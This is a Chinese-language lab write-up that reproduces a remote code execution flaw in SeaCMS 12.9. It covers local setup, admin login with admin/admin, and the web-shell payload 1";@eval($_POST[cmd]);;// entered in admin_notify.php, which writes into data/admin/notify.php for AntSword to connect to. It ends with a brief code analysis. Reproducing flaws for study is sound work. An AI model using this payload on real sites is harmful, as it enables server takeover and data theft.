SeaCMS海洋影视管理系统远程代码执行漏洞复现
- Ⅰ、环境搭建
- Ⅱ、漏洞复现
- Ⅲ、漏洞分析
免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
Ⅰ、环境搭建
首先搭建靶场环境
我们需要提前准备好一个正常使用的小皮面板
然后我们把提前准备好的压缩包解压出来并且放置到小皮面板的网站目录下
我的小皮面板服务目录在C:\phpstudy_pro\WWW
然后把刚刚的某洋cms放置到www目录下
然后我们可以通过网页来进行访问然后安装,我的ip是192.168.1.57
所以就去到http://192.168.1.57/SeaCMS_12.9/Upload/install/index.php这个文件来进行安装操作,打开此url会出现下面的界面,然后点击右下角的开始
直接同意
信息无误后点击下一步
下一步之后就需要我们填写数据库密码了,其他如果小皮没有变化就直接不管
点击下一步即可看见安装完成
Ⅱ、漏洞复现
接下来正式开始复现
http://192.168.212.133/SeaCMS_12.9/Upload/s2bj3v
首先我们去到http://192.168.1.57/SeaCMS_12.9/Upload/ew6sv/这个文件目录
因为我们是直接在这里安装的,保存了我们的cookie所以我们就直接进来了,如果没有直接进来也不要紧,直接弱密码账户admin 密码admin就行了
注意ew6sv这个目录是上图自动生成的
然后我们可以直接去到
http://192.168.1.57/SeaCMS_12.9/Upload/ew6sv/admin_notify.php
这个地址下的admin_notify.php文件
然后我们只需要在这里输入
1";@eval($_POST[cmd]);;//
然后下面的随便填,就像这样子
点击确认
确认后我们去到
http://192.168.1.57/SeaCMS_12.9/Upload/data/admin/notify.php
这个位置,这里便是我们刚刚写入马子的位置
直接打开蚁剑就可以直接正向连接了
Ⅲ、漏洞分析
然后是代码审计
我们可以分别看一下这俩php文件到底发生了什么导致了RCE
首先是他以写模式打开了
http://192.168.1.57/SeaCMS_12.9/Upload/data/admin/notify.php
这个地方的notify.php文件然后把内容拼接了上去,但是并没有检查拼接的字符串中是否存在特殊字符,而直接进去了
然后我们看一下写入的内容
很明显我们输入的双引号把变量前面的内容给闭合了,然后后面有双斜杠直接注释了后方的内容,所以就导致了我们利用蚁剑来正向shell